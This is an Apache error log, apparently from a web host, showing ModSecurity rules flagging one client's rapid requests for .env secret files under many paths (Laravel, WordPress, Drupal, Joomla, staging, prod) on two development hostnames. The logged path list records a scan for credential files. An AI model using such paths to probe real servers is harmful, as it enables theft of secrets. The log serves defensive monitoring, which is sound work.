[Fri Jul 17 09:14:14.795726 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/dev/.env"] [unique_id "almlDrEWOaI5pmYo9fnRwgAAAAA"]
[Fri Jul 17 09:14:14.796109 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDrEWOaI5pmYo9fnRwgAAAAA"]
[Fri Jul 17 09:14:14.836878 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.sample"] [unique_id "almlDg5GPQ6hs4VrfMpE4QAAAAY"]
[Fri Jul 17 09:14:14.838079 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.sample"] [unique_id "almlDg5GPQ6hs4VrfMpE4QAAAAY"]
[Fri Jul 17 09:14:14.967854 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/staging/.env"] [unique_id "almlDujME1mgqYZ5O94pTgAAAAE"]
[Fri Jul 17 09:14:14.968227 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/staging/.env"] [unique_id "almlDujME1mgqYZ5O94pTgAAAAE"]
[Fri Jul 17 09:14:14.968624 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDujME1mgqYZ5O94pTgAAAAE"]
[Fri Jul 17 09:14:15.084783 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDg5GPQ6hs4VrfMpE4QAAAAY"]
[Fri Jul 17 09:14:15.135681 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/opt/.env"] [unique_id "almlDzsMb3am0TgkjETd0wAAAAo"]
[Fri Jul 17 09:14:15.135959 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/opt/.env"] [unique_id "almlDzsMb3am0TgkjETd0wAAAAo"]
[Fri Jul 17 09:14:15.136265 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDzsMb3am0TgkjETd0wAAAAo"]
[Fri Jul 17 09:14:15.255080 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.example"] [unique_id "almlD41dLClkUfK_dfHnzQAAAAI"]
[Fri Jul 17 09:14:15.257129 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.example"] [unique_id "almlD41dLClkUfK_dfHnzQAAAAI"]
[Fri Jul 17 09:14:15.305922 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/laravel/.env"] [unique_id "almlD0gVnBK6wAv37w6voQAAABQ"]
[Fri Jul 17 09:14:15.306261 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/laravel/.env"] [unique_id "almlD0gVnBK6wAv37w6voQAAABQ"]
[Fri Jul 17 09:14:15.306560 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlD0gVnBK6wAv37w6voQAAABQ"]
[Fri Jul 17 09:14:15.473679 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/symfony/.env"] [unique_id "almlDwRRrtuZqNDDSqWzKQAAABo"]
[Fri Jul 17 09:14:15.473974 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/symfony/.env"] [unique_id "almlDwRRrtuZqNDDSqWzKQAAABo"]
[Fri Jul 17 09:14:15.474289 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDwRRrtuZqNDDSqWzKQAAABo"]
[Fri Jul 17 09:14:15.561806 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlD41dLClkUfK_dfHnzQAAAAI"]
[Fri Jul 17 09:14:15.569756 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:15.641333 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/wordpress/.env"] [unique_id "almlD4e39YUk0SgV8AU9KwAAABE"]
[Fri Jul 17 09:14:15.641623 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/wordpress/.env"] [unique_id "almlD4e39YUk0SgV8AU9KwAAABE"]
[Fri Jul 17 09:14:15.641902 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlD4e39YUk0SgV8AU9KwAAABE"]
[Fri Jul 17 09:14:15.732372 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almlDw5GPQ6hs4VrfMpE4gAAAAY"]
[Fri Jul 17 09:14:15.733689 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almlDw5GPQ6hs4VrfMpE4gAAAAY"]
[Fri Jul 17 09:14:15.812185 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/wp/.env"] [unique_id "almlDzsMb3am0TgkjETd1AAAAAo"]
[Fri Jul 17 09:14:15.812476 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/wp/.env"] [unique_id "almlDzsMb3am0TgkjETd1AAAAAo"]
[Fri Jul 17 09:14:15.812826 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDzsMb3am0TgkjETd1AAAAAo"]
[Fri Jul 17 09:14:15.975269 2026] [security2:error] [pid 1993671:tid 1993671] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlDw5GPQ6hs4VrfMpE4gAAAAY"]
[Fri Jul 17 09:14:15.980728 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cms/.env"] [unique_id "almlDxHlOGcokz2QIwTWTwAAAAM"]
[Fri Jul 17 09:14:15.980958 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/cms/.env"] [unique_id "almlDxHlOGcokz2QIwTWTwAAAAM"]
[Fri Jul 17 09:14:15.981213 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlDxHlOGcokz2QIwTWTwAAAAM"]
[Fri Jul 17 09:14:16.143791 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.prod"] [unique_id "almlEI1dLClkUfK_dfHnzgAAAAI"]
[Fri Jul 17 09:14:16.146074 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.prod"] [unique_id "almlEI1dLClkUfK_dfHnzgAAAAI"]
[Fri Jul 17 09:14:16.153332 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/drupal/.env"] [unique_id "almlEPwooI4qY7Jg93pYjQAAABM"]
[Fri Jul 17 09:14:16.153635 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/drupal/.env"] [unique_id "almlEPwooI4qY7Jg93pYjQAAABM"]
[Fri Jul 17 09:14:16.153903 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEPwooI4qY7Jg93pYjQAAABM"]
[Fri Jul 17 09:14:16.304358 2026] [autoindex:error] [pid 2018768:tid 2018768] [client 20.195.181.252:0] AH01276: Cannot serve directory /home/visionsolutionsh/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 09:14:16.320741 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/joomla/.env"] [unique_id "almlEOjME1mgqYZ5O94pUAAAAAE"]
[Fri Jul 17 09:14:16.321000 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/joomla/.env"] [unique_id "almlEOjME1mgqYZ5O94pUAAAAAE"]
